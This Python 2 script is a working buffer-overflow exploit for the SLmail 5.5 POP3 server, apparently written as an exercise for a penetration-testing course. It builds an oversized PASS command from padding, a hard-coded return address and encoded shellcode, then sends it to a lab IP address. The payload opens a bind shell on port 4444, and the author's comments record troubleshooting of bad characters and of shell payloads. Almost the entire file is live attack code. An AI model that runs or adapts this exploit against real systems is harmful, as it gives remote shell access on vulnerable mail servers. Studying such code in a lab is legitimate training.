import struct
import socket
 
print "\n\n###############################################"
print "\nSLmail 5.5 POP3 PASS Buffer Overflow"
print "\nFound & coded by muts [at] offsec.com"
print "\nFor Educational Purposes Only!"
print "\n\n###############################################"
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
 #Note 1433,443 works aswell works as its not blocked by firewall
#1444 does not work ,apperently firewall is blocing or something ,as 1444 is not a well known port --NO it was an issue with encoding of metasploit --Fixed
#Lets try bing with 443 and 2606 location = doesnt work -may b cuz of bad characters as \x20 is there.Most of the times the payload generated has \x20 in it despite specifying it as a bad charactr n thats the reason why the payload sometimes works on 443 and sometimes it doesnt.Even when 1433 has \x20 it doesnt work
#Bingo --discovered ,why rev shell was not working and bind was sometimes workinga nd sometimes not ,its because -b is not working with metasploit , initially -b "-" was copied from internet and it was somekind of special char.when -b was put manually it kept on giving error. !!.
#We tried to update metasploit :apt install metasploit-framework
#BIngo that solved the problem .

#Lets try a random port like 1444-- Works like a charm !!

#try 80 and 443 with same bind--Works

#1444 with 2606 + BIND shell  -Works like a charm .Trt rvse shell now 
LPORT1433 =  ""
LPORT1433 += "\xf9\x42\xf9\x9b\x2f\x99\xfc\x40\x49\x9b\xbd\x08"
LPORT1433 += "\x71\xc8\xdb\xda\xc8\xd9\x74\x24\xf4\x5a\x31\xc9"
LPORT1433 += "\xb1\x4e\x83\xea\xfc\x31\x6a\x0f\x03\x6a\x07\x93"
LPORT1433 += "\x3d\x27\xff\xd1\xbe\xd8\xff\xb5\x37\x3d\xce\xf5"
LPORT1433 += "\x2c\x35\x60\xc6\x27\x1b\x8c\xad\x6a\x88\x07\xc3"
LPORT1433 += "\xa2\xbf\xa0\x6e\x95\x8e\x31\xc2\xe5\x91\xb1\x19"
LPORT1433 += "\x3a\x72\x88\xd1\x4f\x73\xcd\x0c\xbd\x21\x86\x5b"
LPORT1433 += "\x10\xd6\xa3\x16\xa9\x5d\xff\xb7\xa9\x82\xb7\xb6"
LPORT1433 += "\x98\x14\xcc\xe0\x3a\x96\x01\x99\x72\x80\x46\xa4"
LPORT1433 += "\xcd\x3b\xbc\x52\xcc\xed\x8d\x9b\x63\xd0\x22\x6e"
LPORT1433 += "\x7d\x14\x84\x91\x08\x6c\xf7\x2c\x0b\xab\x8a\xea"
LPORT1433 += "\x9e\x28\x2c\x78\x38\x95\xcd\xad\xdf\x5e\xc1\x1a"
LPORT1433 += "\xab\x39\xc5\x9d\x78\x32\xf1\x16\x7f\x95\x70\x6c"
LPORT1433 += "\xa4\x31\xd9\x36\xc5\x60\x87\x99\xfa\x73\x68\x45"
LPORT1433 += "\x5f\xff\x84\x92\xd2\xa2\xc0\x57\xdf\x5c\x10\xf0"
LPORT1433 += "\x68\x2e\x22\x5f\xc3\xb8\x0e\x28\xcd\x3f\x71\x03"
LPORT1433 += "\xa9\xd0\x8c\xac\xca\xf9\x4a\xf8\x9a\x91\x7b\x81"
LPORT1433 += "\x70\x62\x84\x54\xec\x69\x23\x07\x13\x90\xb9\xa6"
LPORT1433 += "\xb9\x69\x55\x43\x32\xb1\x45\x6c\x98\xda\xed\x91"
LPORT1433 += "\x23\xe0\x49\x1c\xc5\x80\x81\x49\x5d\x3d\x63\xae"
LPORT1433 += "\x56\xda\x9c\x84\x1c\xe4\x17\x7f\x48\x8d\x60\x96"
LPORT1433 += "\x4e\xb2\x71\xbc\xf8\x24\xf9\xd3\x3c\x54\xfe\xf9"
LPORT1433 += "\x14\x01\x68\x77\xf5\x60\x09\x88\xdc\x11\xc9\x1c"
LPORT1433 += "\xdb\xb3\x9e\x88\xe1\xe2\xe8\x16\x19\xc1\x6b\x50"
LPORT1433 += "\xe5\x94\x46\x2a\xd0\x02\xd8\x44\x1d\xc3\xd8\x94"
LPORT1433 += "\x4b\x89\xd8\xfc\x2b\xe9\x8b\x19\x34\x24\xb8\xb1"
LPORT1433 += "\xa1\xc7\xe8\x66\x61\xa0\x16\x50\x45\x6f\xe9\xb7"
LPORT1433 += "\xd5\x68\x15\x46\xdd\x89\xd6\x9f\x27\xfc\x31\x1c"
LPORT1433 += "\x1c\x0f\x74\x01\x35\x9a\x76\x15\x45\x8f"










 
#Tested on Win2k SP4 Unpatched
# Change ret address if needed
#buffer = '\x41' * 4654 + struct.pack('<L', 0x783d6ddf) + '\x90'*32 + LPORT1433 
buffer = '\x41' * 2606 
try:
    print "\nSending evil buffer..."
    s.connect(('192.168.250.136',110))
    data = s.recv(1024)
    s.send('USER username' +'\r\n')
    data = s.recv(1024)
    print(str(data))
    s.send('PASS ' + buffer + '\x8f\x35\x4a\x5f'+ LPORT1433 + '\r\n')
    data = s.recv(1024)
    print(str(data))
    s.close()
    print "\nDone! Try connecting to port 4444 on victim machine."
except:
    print "Could not connect to POP3!"
